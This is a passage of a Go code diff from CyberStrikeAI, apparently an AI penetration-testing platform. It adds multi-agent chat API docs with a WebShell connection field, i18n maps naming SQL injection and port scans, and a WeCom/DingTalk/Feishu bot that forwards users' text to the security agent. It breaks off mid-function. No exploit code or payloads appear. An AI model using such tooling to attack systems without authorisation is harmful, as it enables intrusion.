+	if _, err = h.db.AddMessage(conversationID, "user", userContent, nil); err != nil {
+		h.logger.Error("保存用户消息失败", zap.Error(err))
+		return nil, fmt.Errorf("保存用户消息失败: %w", err)
+	}
+
+	assistantMsg, aerr := h.db.AddMessage(conversationID, "assistant", "处理中...", nil)
+	var assistantMessageID string
+	if aerr != nil {
+		h.logger.Warn("创建助手消息占位失败", zap.Error(aerr))
+	} else if assistantMsg != nil {
+		assistantMessageID = assistantMsg.ID
+	}
+
+	return &multiAgentPrepared{
+		ConversationID:     conversationID,
+		CreatedNew:         createdNew,
+		History:            agentHistoryMessages,
+		FinalMessage:       finalMessage,
+		RoleTools:          roleTools,
+		AssistantMessageID: assistantMessageID,
+	}, nil
+}

internal/handler/openapi.go

@@ -1481,6 +1481,91 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 					},
 				},
 			},
+			"/api/multi-agent": map[string]interface{}{
+				"post": map[string]interface{}{
+					"tags":        []string{"对话交互"},
+					"summary":     "发送消息并获取 AI 回复（Eino DeepAgent，非流式）",
+					"description": "与 `POST /api/agent-loop` 请求体相同，但由 **CloudWeGo Eino DeepAgent** 执行多代理编排。**前提**：`multi_agent.enabled: true`（可在设置页或 `config.yaml` 开启）；未启用时返回 404 JSON。请求体支持 `webshellConnectionId`（与单代理 WebShell 助手一致）。",
+					"operationId": "sendMessageMultiAgent",
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type": "object",
+									"properties": map[string]interface{}{
+										"message": map[string]interface{}{
+											"type":        "string",
+											"description": "要发送的消息（必需）",
+										},
+										"conversationId": map[string]interface{}{
+											"type":        "string",
+											"description": "对话 ID（可选，不提供则新建）",
+										},
+										"role": map[string]interface{}{
+											"type":        "string",
+											"description": "角色名称（可选）",
+										},
+										"webshellConnectionId": map[string]interface{}{
+											"type":        "string",
+											"description": "WebShell 连接 ID（可选，与 agent-loop 行为一致）",
+										},
+									},
+									"required": []string{"message"},
+								},
+							},
+						},
+					},
+					"responses": map[string]interface{}{
+						"200": map[string]interface{}{
+							"description": "成功，响应格式同 /api/agent-loop",
+						},
+						"400": map[string]interface{}{"description": "参数错误"},
+						"401": map[string]interface{}{"description": "未授权"},
+						"404": map[string]interface{}{"description": "多代理未启用或对话不存在"},
+						"500": map[string]interface{}{"description": "执行失败"},
+					},
+				},
+			},
+			"/api/multi-agent/stream": map[string]interface{}{
+				"post": map[string]interface{}{
+					"tags":        []string{"对话交互"},
+					"summary":     "发送消息并获取 AI 回复（Eino DeepAgent，SSE）",
+					"description": "与 `POST /api/agent-loop/stream` 类似，事件类型兼容；由 Eino DeepAgent 执行。**前提**：`multi_agent.enabled: true`；路由常注册，未启用时仍返回 200 SSE，流内首条为 `type: error` 后接 `done`。支持 `webshellConnectionId`。",
+					"operationId": "sendMessageMultiAgentStream",
+					"requestBody": map[string]interface{}{
+						"required": true,
+						"content": map[string]interface{}{
+							"application/json": map[string]interface{}{
+								"schema": map[string]interface{}{
+									"type": "object",
+									"properties": map[string]interface{}{
+										"message":            map[string]interface{}{"type": "string"},
+										"conversationId":     map[string]interface{}{"type": "string"},
+										"role":               map[string]interface{}{"type": "string"},
+										"webshellConnectionId": map[string]interface{}{"type": "string"},
+									},
+									"required": []string{"message"},
+								},
+							},
+						},
+					},
+					"responses": map[string]interface{}{
+						"200": map[string]interface{}{
+							"description": "text/event-stream（SSE）",
+							"content": map[string]interface{}{
+								"text/event-stream": map[string]interface{}{
+									"schema": map[string]interface{}{
+										"type":        "string",
+										"description": "SSE 流",
+									},
+								},
+							},
+						},
+						"401": map[string]interface{}{"description": "未授权"},
+					},
+				},
+			},
 			"/api/agent-loop/cancel": map[string]interface{}{
 				"post": map[string]interface{}{
 					"tags":        []string{"对话交互"},
@@ -4411,6 +4496,7 @@ func (h *OpenAPIHandler) GetOpenAPISpec(c *gin.Context) {
 		},
 	}
 
+	enrichSpecWithI18nKeys(spec)
 	c.JSON(http.StatusOK, spec)
 }
 

internal/handler/openapi_i18n.go

@@ -0,0 +1,139 @@
+package handler
+
+// apiDocI18n 为 OpenAPI 文档提供 x-i18n-* 扩展键，供前端 apiDocs 国际化使用。
+// 前端通过 apiDocs.tags.* / apiDocs.summary.* / apiDocs.response.* 翻译。
+
+var apiDocI18nTagToKey = map[string]string{
+	"认证": "auth", "对话管理": "conversationManagement", "对话交互": "conversationInteraction",
+	"批量任务": "batchTasks", "对话分组": "conversationGroups", "漏洞管理": "vulnerabilityManagement",
+	"角色管理": "roleManagement", "Skills管理": "skillsManagement", "监控": "monitoring",
+	"配置管理": "configManagement", "外部MCP管理": "externalMCPManagement", "攻击链": "attackChain",
+	"知识库": "knowledgeBase", "MCP": "mcp",
+}
+
+var apiDocI18nSummaryToKey = map[string]string{
+	"用户登录": "login", "用户登出": "logout", "修改密码": "changePassword", "验证Token": "validateToken",
+	"创建对话": "createConversation", "列出对话": "listConversations", "查看对话详情": "getConversationDetail",
+	"更新对话": "updateConversation", "删除对话": "deleteConversation", "获取对话结果": "getConversationResult",
+	"发送消息并获取AI回复（非流式）": "sendMessageNonStream", "发送消息并获取AI回复（流式）": "sendMessageStream",
+	"取消任务": "cancelTask", "列出运行中的任务": "listRunningTasks", "列出已完成的任务": "listCompletedTasks",
+	"创建批量任务队列": "createBatchQueue", "列出批量任务队列": "listBatchQueues", "获取批量任务队列": "getBatchQueue",
+	"删除批量任务队列": "deleteBatchQueue", "启动批量任务队列": "startBatchQueue", "暂停批量任务队列": "pauseBatchQueue",
+	"添加任务到队列": "addTaskToQueue", "SQL注入扫描": "sqlInjectionScan", "端口扫描": "portScan",
+	"更新批量任务": "updateBatchTask", "删除批量任务": "deleteBatchTask",
+	"创建分组": "createGroup", "列出分组": "listGroups", "获取分组": "getGroup", "更新分组": "updateGroup",
+	"删除分组": "deleteGroup", "获取分组中的对话": "getGroupConversations", "添加对话到分组": "addConversationToGroup",
+	"从分组移除对话": "removeConversationFromGroup",
+	"列出漏洞": "listVulnerabilities", "创建漏洞": "createVulnerability", "获取漏洞统计": "getVulnerabilityStats",
+	"获取漏洞": "getVulnerability", "更新漏洞": "updateVulnerability", "删除漏洞": "deleteVulnerability",
+	"列出角色": "listRoles", "创建角色": "createRole", "获取角色": "getRole", "更新角色": "updateRole", "删除角色": "deleteRole",
+	"获取可用Skills列表": "getAvailableSkills", "列出Skills": "listSkills", "创建Skill": "createSkill",
+	"获取Skill统计": "getSkillStats", "清空Skill统计": "clearSkillStats", "获取Skill": "getSkill",
+	"更新Skill": "updateSkill", "删除Skill": "deleteSkill", "获取绑定角色": "getBoundRoles",
+	"获取监控信息": "getMonitorInfo", "获取执行记录": "getExecutionRecords", "删除执行记录": "deleteExecutionRecord",
+	"批量删除执行记录": "batchDeleteExecutionRecords", "获取统计信息": "getStats",
+	"获取配置": "getConfig", "更新配置": "updateConfig", "获取工具配置": "getToolConfig", "应用配置": "applyConfig",
+	"列出外部MCP": "listExternalMCP", "获取外部MCP统计": "getExternalMCPStats", "获取外部MCP": "getExternalMCP",
+	"添加或更新外部MCP": "addOrUpdateExternalMCP", "stdio模式配置": "stdioModeConfig", "SSE模式配置": "sseModeConfig",
+	"删除外部MCP": "deleteExternalMCP", "启动外部MCP": "startExternalMCP", "停止外部MCP": "stopExternalMCP",
+	"获取攻击链": "getAttackChain", "重新生成攻击链": "regenerateAttackChain",
+	"设置对话置顶": "pinConversation", "设置分组置顶": "pinGroup", "设置分组中对话的置顶": "pinGroupConversation",
+	"获取分类": "getCategories", "列出知识项": "listKnowledgeItems", "创建知识项": "createKnowledgeItem",
+	"获取知识项": "getKnowledgeItem", "更新知识项": "updateKnowledgeItem", "删除知识项": "deleteKnowledgeItem",
+	"获取索引状态": "getIndexStatus", "重建索引": "rebuildIndex", "扫描知识库": "scanKnowledgeBase",
+	"搜索知识库": "searchKnowledgeBase", "基础搜索": "basicSearch", "按风险类型搜索": "searchByRiskType",
+	"获取检索日志": "getRetrievalLogs", "删除检索日志": "deleteRetrievalLog",
+	"MCP端点": "mcpEndpoint", "列出所有工具": "listAllTools", "调用工具": "invokeTool", "初始化连接": "initConnection",
+	"成功响应": "successResponse", "错误响应": "errorResponse",
+}
+
+var apiDocI18nResponseDescToKey = map[string]string{
+	"获取成功": "getSuccess", "未授权": "unauthorized", "未授权，需要有效的Token": "unauthorizedToken",
+	"创建成功": "createSuccess", "请求参数错误": "badRequest", "对话不存在": "conversationNotFound",
+	"对话不存在或结果不存在": "conversationOrResultNotFound", "请求参数错误（如task为空）": "badRequestTaskEmpty",
+	"请求参数错误或分组名称已存在": "badRequestGroupNameExists", "分组不存在": "groupNotFound",
+	"请求参数错误（如配置格式不正确、缺少必需字段等）": "badRequestConfig",
+	"请求参数错误（如query为空）": "badRequestQueryEmpty", "方法不允许（仅支持POST请求）": "methodNotAllowed",
+	"登录成功": "loginSuccess", "密码错误": "invalidPassword", "登出成功": "logoutSuccess",
+	"密码修改成功": "passwordChanged", "Token有效": "tokenValid", "Token无效或已过期": "tokenInvalid",
+	"对话创建成功": "conversationCreated", "服务器内部错误": "internalError", "更新成功": "updateSuccess",
+	"删除成功": "deleteSuccess", "队列不存在": "queueNotFound", "启动成功": "startSuccess",
+	"暂停成功": "pauseSuccess", "添加成功": "addSuccess",
+	"任务不存在": "taskNotFound", "对话或分组不存在": "conversationOrGroupNotFound",
+	"取消请求已提交": "cancelSubmitted", "未找到正在执行的任务": "noRunningTask",
+	"消息发送成功，返回AI回复": "messageSent", "流式响应（Server-Sent Events）": "streamResponse",
+}
+
+// enrichSpecWithI18nKeys 在 spec 的每个 operation 上写入 x-i18n-tags、x-i18n-summary，
+// 在每个 response 上写入 x-i18n-description，供前端按 key 做国际化。
+func enrichSpecWithI18nKeys(spec map[string]interface{}) {
+	paths, _ := spec["paths"].(map[string]interface{})
+	if paths == nil {
+		return
+	}
+	for _, pathItem := range paths {
+		pm, _ := pathItem.(map[string]interface{})
+		if pm == nil {
+			continue
+		}
+		for _, method := range []string{"get", "post", "put", "delete", "patch"} {
+			opVal, ok := pm[method]
+			if !ok {
+				continue
+			}
+			op, _ := opVal.(map[string]interface{})
+			if op == nil {
+				continue
+			}
+			// x-i18n-tags: 与 tags 一一对应的 i18n 键数组（spec 中 tags 为 []string）
+			switch tags := op["tags"].(type) {
+			case []string:
+				if len(tags) > 0 {
+					keys := make([]string, 0, len(tags))
+					for _, s := range tags {
+						if k := apiDocI18nTagToKey[s]; k != "" {
+							keys = append(keys, k)
+						} else {
+							keys = append(keys, s)
+						}
+					}
+					op["x-i18n-tags"] = keys
+				}
+			case []interface{}:
+				if len(tags) > 0 {
+					keys := make([]interface{}, 0, len(tags))
+					for _, t := range tags {
+						if s, ok := t.(string); ok {
+							if k := apiDocI18nTagToKey[s]; k != "" {
+								keys = append(keys, k)
+							} else {
+								keys = append(keys, s)
+							}
+						}
+					}
+					if len(keys) > 0 {
+						op["x-i18n-tags"] = keys
+					}
+				}
+			}
+			// x-i18n-summary
+			if summary, _ := op["summary"].(string); summary != "" {
+				if k := apiDocI18nSummaryToKey[summary]; k != "" {
+					op["x-i18n-summary"] = k
+				}
+			}
+			// responses -> 每个 status -> x-i18n-description
+			if respMap, _ := op["responses"].(map[string]interface{}); respMap != nil {
+				for _, rv := range respMap {
+					if r, _ := rv.(map[string]interface{}); r != nil {
+						if desc, _ := r["description"].(string); desc != "" {
+							if k := apiDocI18nResponseDescToKey[desc]; k != "" {
+								r["x-i18n-description"] = k
+							}
+						}
+					}
+				}
+			}
+		}
+	}
+}

internal/handler/robot.go

@@ -0,0 +1,907 @@
+package handler
+
+import (
+	"bytes"
+	"context"
+	"crypto/aes"
+	"crypto/cipher"
+	"crypto/rand"
+	"crypto/sha1"
+	"encoding/base64"
+	"encoding/binary"
+	"encoding/json"
+	"encoding/xml"
+	"errors"
+	"fmt"
+	"io"
+	"net/http"
+	"sort"
+	"strings"
+	"sync"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	"cyberstrike-ai/internal/database"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+const (
+	robotCmdHelp        = "帮助"
+	robotCmdList        = "列表"
+	robotCmdListAlt     = "对话列表"
+	robotCmdSwitch      = "切换"
+	robotCmdContinue    = "继续"
+	robotCmdNew         = "新对话"
+	robotCmdClear       = "清空"
+	robotCmdCurrent     = "当前"
+	robotCmdStop        = "停止"
+	robotCmdRoles       = "角色"
+	robotCmdRolesList   = "角色列表"
+	robotCmdSwitchRole  = "切换角色"
+	robotCmdDelete      = "删除"
+	robotCmdVersion     = "版本"
+)
+
+// RobotHandler 企业微信/钉钉/飞书等机器人回调处理
+type RobotHandler struct {
+	config         *config.Config
+	db             *database.DB
+	agentHandler   *AgentHandler
+	logger         *zap.Logger
+	mu             sync.RWMutex
+	sessions       map[string]string             // key: "platform_userID", value: conversationID
+	sessionRoles   map[string]string             // key: "platform_userID", value: roleName（默认"默认"）
+	cancelMu       sync.Mutex                    // 保护 runningCancels
+	runningCancels map[string]context.CancelFunc // key: "platform_userID", 用于停止命令中断任务
+}
+
+// NewRobotHandler 创建机器人处理器
+func NewRobotHandler(cfg *config.Config, db *database.DB, agentHandler *AgentHandler, logger *zap.Logger) *RobotHandler {
+	return &RobotHandler{
+		config:         cfg,
+		db:             db,
+		agentHandler:   agentHandler,
+		logger:         logger,
+		sessions:       make(map[string]string),
+		sessionRoles:   make(map[string]string),
+		runningCancels: make(map[string]context.CancelFunc),
+	}
+}
+
+// sessionKey 生成会话 key
+func (h *RobotHandler) sessionKey(platform, userID string) string {
+	return platform + "_" + userID
+}
+
+// getOrCreateConversation 获取或创建当前会话，title 用于新对话的标题（取用户首条消息前50字）
+func (h *RobotHandler) getOrCreateConversation(platform, userID, title string) (convID string, isNew bool) {
+	h.mu.RLock()
+	convID = h.sessions[h.sessionKey(platform, userID)]
+	h.mu.RUnlock()
+	if convID != "" {
+		return convID, false
+	}
+	t := strings.TrimSpace(title)
+	if t == "" {
+		t = "新对话 " + time.Now().Format("01-02 15:04")
+	} else {
+		t = safeTruncateString(t, 50)
+	}
+	conv, err := h.db.CreateConversation(t)
+	if err != nil {
+		h.logger.Warn("创建机器人会话失败", zap.Error(err))
+		return "", false
+	}
+	convID = conv.ID
+	h.mu.Lock()
+	h.sessions[h.sessionKey(platform, userID)] = convID
+	h.mu.Unlock()
+	return convID, true
+}
+
+// setConversation 切换当前会话
+func (h *RobotHandler) setConversation(platform, userID, convID string) {
+	h.mu.Lock()
+	h.sessions[h.sessionKey(platform, userID)] = convID
+	h.mu.Unlock()
+}
+
+// getRole 获取当前用户使用的角色，未设置时返回"默认"
+func (h *RobotHandler) getRole(platform, userID string) string {
+	h.mu.RLock()
+	role := h.sessionRoles[h.sessionKey(platform, userID)]
+	h.mu.RUnlock()
+	if role == "" {
+		return "默认"
+	}
+	return role
+}
+
+// setRole 设置当前用户使用的角色
+func (h *RobotHandler) setRole(platform, userID, roleName string) {
+	h.mu.Lock()
+	h.sessionRoles[h.sessionKey(platform, userID)] = roleName
+	h.mu.Unlock()
+}
+
+// clearConversation 清空当前会话（切换到新对话）
+func (h *RobotHandler) clearConversation(platform, userID string) (newConvID string) {
+	title := "新对话 " + time.Now().Format("01-02 15:04")
+	conv, err := h.db.CreateConversation(title)
+	if err != nil {
+		h.logger.Warn("创建新对话失败", zap.Error(err))
+		return ""
+	}
+	h.setConversation(platform, userID, conv.ID)
+	return conv.ID
+}
+
+// HandleMessage 处理用户输入，返回回复文本（供各平台 webhook 调用）
+func (h *RobotHandler) HandleMessage(platform, userID, text string) (reply string) {
+	text = strings.TrimSpace(text)
+	if text == "" {
+		return "请输入内容或发送「帮助」/ help 查看命令。"
+	}
+
+	// 先尝试作为命令处理（支持中英文）
+	if cmdReply, ok := h.handleRobotCommand(platform, userID, text); ok {
+		return cmdReply
+	}
+
+	// 普通消息：走 Agent
+	convID, _ := h.getOrCreateConversation(platform, userID, text)
+	if convID == "" {
+		return "无法创建或获取对话，请稍后再试。"
+	}
+	// 若对话标题为「新对话 xx:xx」格式（由「新对话」命令创建），将标题更新为首条消息内容，与 Web 端体验一致
+	if conv, err := h.db.GetConversation(convID); err == nil && strings.HasPrefix(conv.Title, "新对话 ") {
+		newTitle := safeTruncateString(text, 50)
+		if newTitle != "" {
+			_ = h.db.UpdateConversationTitle(convID, newTitle)
+		}
+	}
+	ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
+	sk := h.sessionKey(platform, userID)
+	h.cancelMu.Lock()
+	h.runningCancels[sk] = cancel
+	h.cancelMu.Unlock()
+	defer func() {
+		cancel()
+		h.cancelMu.Lock()
+		delete(h.runningCancels, sk)
+		h.cancelMu.Unlock()
+	}()
+	role := h.getRole(platform, userID)
+	resp, newConvID, err := h.agentHandler.ProcessMessageForRobot(ctx, convID, text, role)
+	if err != nil {
+		h.logger.Warn("机器人 Agent 执行失败", zap.String("platform", platform), zap.String("userID", userID), zap.Error(err))
+		if errors.Is(err, context.Canceled) {
+			return "任务已取消。"
+		}
+		return "处理失败: " + err.Error()
+	}
+	if newConvID != convID {
+		h.setConversation(platform, userID, newConvID)
+	}
+	return resp
+}
+
+func (h *RobotHandler) cmdHelp() string {
+	return "**【CyberStrikeAI 机器人命令】**\n\n" +
+		"- `帮助` `help` — 显示本帮助 | Show this help\n" +
+		"- `列表` `list` — 列出所有对话标题与 ID | List conversations\n" +
+		"- `切换 <ID>` `switch <ID>` — 指定对话继续 | Switch to conversation\n" +
+		"- `新对话` `new` — 开启新对话 | Start new conversation\n" +
+		"- `清空` `clear` — 清空当前上下文 | Clear context\n" +
+		"- `当前` `current` — 显示当前对话 ID 与标题 | Show current conversation\n" +
+		"- `停止` `stop` — 中断当前任务 | Stop running task\n" +
+		"- `角色` `roles` — 列出所有可用角色 | List roles\n" +
+		"- `角色 <名>` `role <name>` — 切换当前角色 | Switch role\n" +
+		"- `删除 <ID>` `delete <ID>` — 删除指定对话 | Delete conversation\n" +
+		"- `版本` `version` — 显示当前版本号 | Show version\n\n" +
+		"---\n" +
+		"除以上命令外，直接输入内容将发送给 AI 进行渗透测试/安全分析。\n" +
+		"Otherwise, send any text for AI penetration testing / security analysis."
+}
+
+func (h *RobotHandler) cmdList() string {
+	convs, err := h.db.ListConversations(50, 0, "")
+	if err != nil {
+		return "获取对话列表失败: " + err.Error()
+	}
+	if len(convs) == 0 {
+		return "暂无对话。发送任意内容将自动创建新对话。"
+	}
+	var b strings.Builder
+	b.WriteString("【对话列表】\n")
+	for i, c := range convs {
+		if i >= 20 {
+			b.WriteString("… 仅显示前 20 条\n")
+			break
+		}
+		b.WriteString(fmt.Sprintf("· %s\n  ID: %s\n", c.Title, c.ID))
+	}
+	return strings.TrimSuffix(b.String(), "\n")
+}
+
+func (h *RobotHandler) cmdSwitch(platform, userID, convID string) string {
+	if convID == "" {
+		return "请指定对话 ID，例如：切换 xxx-xxx-xxx"
+	}
+	conv, err := h.db.GetConversation(convID)
+	if err != nil {
+		return "对话不存在或 ID 错误。"
+	}
+	h.setConversation(platform, userID, conv.ID)
+	return fmt.Sprintf("已切换到对话：「%s」\nID: %s", conv.Title, conv.ID)
+}
+
+func (h *RobotHandler) cmdNew(platform, userID string) string {
+	newID := h.clearConversation(platform, userID)
+	if newID == "" {
+		return "创建新对话失败，请重试。"
+	}
+	return "已开启新对话，可直接发送内容。"
+}
+
+func (h *RobotHandler) cmdClear(platform, userID string) string {
+	return h.cmdNew(platform, userID)
+}
+
+func (h *RobotHandler) cmdStop(platform, userID string) string {
+	sk := h.sessionKey(platform, userID)
+	h.cancelMu.Lock()
+	cancel, ok := h.runningCancels[sk]
+	if ok {
+		delete(h.runningCancels, sk)
+		cancel()
+	}
+	h.cancelMu.Unlock()
+	if !ok {
+		return "当前没有正在执行的任务。"
+	}
+	return "已停止当前任务。"
+}
+
+func (h *RobotHandler) cmdCurrent(platform, userID string) string {
+	h.mu.RLock()
+	convID := h.sessions[h.sessionKey(platform, userID)]
+	h.mu.RUnlock()
+	if convID == "" {
+		return "当前没有进行中的对话。发送任意内容将创建新对话。"
+	}
+	conv, err := h.db.GetConversation(convID)
+	if err != nil {
+		return "当前对话 ID: " + convID + "（获取标题失败）"
+	}
+	role := h.getRole(platform, userID)
+	return fmt.Sprintf("当前对话：「%s」\nID: %s\n当前角色: %s", conv.Title, conv.ID, role)
+}
+
+func (h *RobotHandler) cmdRoles() string {
+	if h.config.Roles == nil || len(h.config.Roles) == 0 {
+		return "暂无可用角色。"
+	}
+	names := make([]string, 0, len(h.config.Roles))
+	for name, role := range h.config.Roles {
+		if role.Enabled {
+			names = append(names, name)
+		}
+	}
+	if len(names) == 0 {
+		return "暂无可用角色。"
+	}
+	sort.Slice(names, func(i, j int) bool {
+		if names[i] == "默认" {
+			return true
+		}
+		if names[j] == "默认" {
+			return false
+		}
+		return names[i] < names[j]
+	})
+	var b strings.Builder
+	b.WriteString("【角色列表】\n")
+	for _, name := range names {
+		role := h.config.Roles[name]
+		desc := role.Description
+		if desc == "" {
+			desc = "无描述"
+		}
+		b.WriteString(fmt.Sprintf("· %s — %s\n", name, desc))
+	}
+	return strings.TrimSuffix(b.String(), "\n")
+}
+
+func (h *RobotHandler) cmdSwitchRole(platform, userID, roleName string) string {
+	if roleName == "" {
+		return "请指定角色名称，例如：角色 渗透测试"
+	}
+	if h.config.Roles == nil {
+		return "暂无可用角色。"
+	}
+	role, exists := h.config.Roles[roleName]
+	if !exists {
+		return fmt.Sprintf("角色「%s」不存在。发送「角色」查看可用角色。", roleName)
+	}
+	if !role.Enabled {
+		return fmt.Sprintf("角色「%s」已禁用。", roleName)
+	}
+	h.setRole(platform, userID, roleName)
+	return fmt.Sprintf("已切换到角色：「%s」\n%s", roleName, role.Description)
+}
+
+func (h *RobotHandler) cmdDelete(platform, userID, convID string) string {
+	if convID == "" {
+		return "请指定对话 ID，例如：删除 xxx-xxx-xxx"
+	}
+	sk := h.sessionKey(platform, userID)
+	h.mu.RLock()
+	currentConvID := h.sessions[sk]
+	h.mu.RUnlock()
+	if convID == currentConvID {
+		// 删除当前对话时，先清空会话绑定
+		h.mu.Lock()
+		delete(h.sessions, sk)
+		h.mu.Unlock()
+	}
+	if err := h.db.DeleteConversation(convID); err != nil {
+		return "删除失败: " + err.Error()
+	}
+	return fmt.Sprintf("已删除对话 ID: %s", convID)
+}
+
+func (h *RobotHandler) cmdVersion() string {
+	v := h.config.Version
+	if v == "" {
+		v = "未知"
+	}
+	return "CyberStrikeAI " + v
+}
+
+// handleRobotCommand 处理机器人内置命令；若匹配到命令返回 (回复内容, true)，否则返回 ("", false)
+func (h *RobotHandler) handleRobotCommand(platform, userID, text string) (string, bool) {
+	switch {
+	case text == robotCmdHelp || text == "help" || text == "？" || text == "?":
+		return h.cmdHelp(), true
+	case text == robotCmdList || text == robotCmdListAlt || text == "list":
+		return h.cmdList(), true
+	case strings.HasPrefix(text, robotCmdSwitch+" ") || strings.HasPrefix(text, robotCmdContinue+" ") || strings.HasPrefix(text, "switch ") || strings.HasPrefix(text, "continue "):
+		var id string
+		switch {
+		case strings.HasPrefix(text, robotCmdSwitch+" "):
+			id = strings.TrimSpace(text[len(robotCmdSwitch)+1:])
+		case strings.HasPrefix(text, robotCmdContinue+" "):
+			id = strings.TrimSpace(text[len(robotCmdContinue)+1:])
+		case strings.HasPrefix(text, "switch "):
+			id = strings.TrimSpace(text[7:])
+		default:
+			id = strings.TrimSpace(text[9:])
+		}
+		return h.cmdSwitch(platform, userID, id), true
+	case text == robotCmdNew || text == "new":
+		return h.cmdNew(platform, userID), true
+	case text == robotCmdClear || text == "clear":
+		return h.cmdClear(platform, userID), true
+	case text == robotCmdCurrent || text == "current":
+		return h.cmdCurrent(platform, userID), true
+	case text == robotCmdStop || text == "stop":
+		return h.cmdStop(platform, userID), true
+	case text == robotCmdRoles || text == robotCmdRolesList || text == "roles":
+		return h.cmdRoles(), true
+	case strings.HasPrefix(text, robotCmdRoles+" ") || strings.HasPrefix(text, robotCmdSwitchRole+" ") || strings.HasPrefix(text, "role "):
+		var roleName string
+		switch {
+		case strings.HasPrefix(text, robotCmdRoles+" "):
+			roleName = strings.TrimSpace(text[len(robotCmdRoles)+1:])
+		case strings.HasPrefix(text, robotCmdSwitchRole+" "):
+			roleName = strings.TrimSpace(text[len(robotCmdSwitchRole)+1:])
+		default:
+			roleName = strings.TrimSpace(text[5:])
+		}
+		return h.cmdSwitchRole(platform, userID, roleName), true
+	case strings.HasPrefix(text, robotCmdDelete+" ") || strings.HasPrefix(text, "delete "):
+		var convID string
+		if strings.HasPrefix(text, robotCmdDelete+" ") {
+			convID = strings.TrimSpace(text[len(robotCmdDelete)+1:])
+		} else {
+			convID = strings.TrimSpace(text[7:])
+		}
+		return h.cmdDelete(platform, userID, convID), true
+	case text == robotCmdVersion || text == "version":
+		return h.cmdVersion(), true
+	default:
+		return "", false
+	}
+}
+
+// —————— 企业微信 ——————
+
+// wecomXML 企业微信回调 XML（明文模式下的简化结构；加密模式需先解密再解析）
+type wecomXML struct {
+	ToUserName   string `xml:"ToUserName"`
+	FromUserName string `xml:"FromUserName"`
+	CreateTime   int64  `xml:"CreateTime"`
+	MsgType      string `xml:"MsgType"`
+	Content      string `xml:"Content"`
+	MsgID        string `xml:"MsgId"`
+	AgentID      int64  `xml:"AgentID"`
+	Encrypt      string `xml:"Encrypt"` // 加密模式下消息在此
+}
+
+// wecomReplyXML 被动回复 XML（仅用于兼容，当前使用手动构造 XML）
+type wecomReplyXML struct {
+	XMLName      xml.Name `xml:"xml"`
+	ToUserName   string   `xml:"ToUserName"`
+	FromUserName string   `xml:"FromUserName"`
+	CreateTime   int64    `xml:"CreateTime"`
+	MsgType      string   `xml:"MsgType"`
+	Content      string   `xml:"Content"`
+}
+
+// HandleWecomGET 企业微信 URL 校验（GET）
+func (h *RobotHandler) HandleWecomGET(c *gin.Context) {
+	if !h.config.Robots.Wecom.Enabled {
+		c.String(http.StatusNotFound, "")
+		return
+	}
+	// Gin 的 Query() 会自动 URL 解码，拿到的就是正确的 base64 字符串
+	echostr := c.Query("echostr")
+	msgSignature := c.Query("msg_signature")
+	timestamp := c.Query("timestamp")
+	nonce := c.Query("nonce")
+
+	// 验证签名：将 token、timestamp、nonce、echostr 四个参数排序后拼接计算 SHA1
+	signature := h.signWecomRequest(h.config.Robots.Wecom.Token, timestamp, nonce, echostr)
+	if signature != msgSignature {
+		h.logger.Warn("企业微信 URL 验证签名失败", zap.String("expected", msgSignature), zap.String("got", signature))
+		c.String(http.StatusBadRequest, "invalid signature")
+		return
+	}
+
+	if echostr == "" {
+		c.String(http.StatusBadRequest, "missing echostr")
+		return
+	}
+
+	// 如果配置了 EncodingAESKey，说明是加密模式，需要解密 echostr
+	if h.config.Robots.Wecom.EncodingAESKey != "" {
+		decrypted, err := wecomDecrypt(h.config.Robots.Wecom.EncodingAESKey, echostr)
+		if err != nil {
+			h.logger.Warn("企业微信 echostr 解密失败", zap.Error(err))
+			c.String(http.StatusBadRequest, "decrypt failed")
+			return
+		}
+		c.String(http.StatusOK, string(decrypted))
+		return
+	}
+
+	// 明文模式直接返回 echostr
+	c.String(http.StatusOK, echostr)
+}
+
+// signWecomRequest 生成企业微信请求签名
+// 企业微信签名算法：将 token、timestamp、nonce、echostr 四个值排序后拼接成字符串，再计算 SHA1
+func (h *RobotHandler) signWecomRequest(token, timestamp, nonce, echostr string) string {
+	strs := []string{token, timestamp, nonce, echostr}
+	sort.Strings(strs)
+	s := strings.Join(strs, "")
+	hash := sha1.Sum([]byte(s))
+	return fmt.Sprintf("%x", hash)
+}
+
+// wecomDecrypt 企业微信消息解密（AES-256-CBC，PKCS7，明文格式：16字节随机+4字节长度+消息+corpID）
+func wecomDecrypt(encodingAESKey, encryptedB64 string) ([]byte, error) {
+	key, err := base64.StdEncoding.DecodeString(encodingAESKey + "=")
+	if err != nil {
+		return nil, err
+	}
+	if len(key) != 32 {
+		return nil, fmt.Errorf("encoding_aes_key 解码后应为 32 字节")
+	}
+	ciphertext, err := base64.StdEncoding.DecodeString(encryptedB64)
+	if err != nil {
+		return nil, err
+	}
+	block, err := aes.NewCipher(key)
+	if err != nil {
+		return nil, err
+	}
+	iv := key[:16]
+	mode := cipher.NewCBCDecrypter(block, iv)
+	if len(ciphertext)%aes.BlockSize != 0 {
+		return nil, fmt.Errorf("密文长度不是块大小的倍数")
+	}
+	plain := make([]byte, len(ciphertext))
+	mode.CryptBlocks(plain, ciphertext)
+	// 去除 PKCS7 填充
+	n := int(plain[len(plain)-1])
+	if n < 1 || n > 32 {
+		return nil, fmt.Errorf("无效的 PKCS7 填充")
+	}
+	plain = plain[:len(plain)-n]
+	// 企业微信格式：16 字节随机 + 4 字节长度(大端) + 消息 + corpID
+	if len(plain) < 20 {
+		return nil, fmt.Errorf("明文过短")
+	}
+	msgLen := binary.BigEndian.Uint32(plain[16:20])
+	if int(20+msgLen) > len(plain) {
+		return nil, fmt.Errorf("消息长度越界")
+	}
+	return plain[20 : 20+msgLen], nil
+}
+
+// wecomEncrypt 企业微信消息加密（AES-256-CBC，PKCS7，明文格式：16字节随机+4字节长度+消息+corpID）
+func wecomEncrypt(encodingAESKey, message, corpID string) (string, error) {
+	key, err := base64.StdEncoding.DecodeString(encodingAESKey + "=")
+	if err != nil {
+		return "", err
+	}
+	if len(key) != 32 {
+		return "", fmt.Errorf("encoding_aes_key 解码后应为 32 字节")
+	}
+	// 构造明文：16 字节随机 + 4 字节长度 (大端) + 消息 + corpID
+	random := make([]byte, 16)
+	if _, err := rand.Read(random); err != nil {
+		// 降级方案：使用时间戳生成随机数
+		for i := range random {
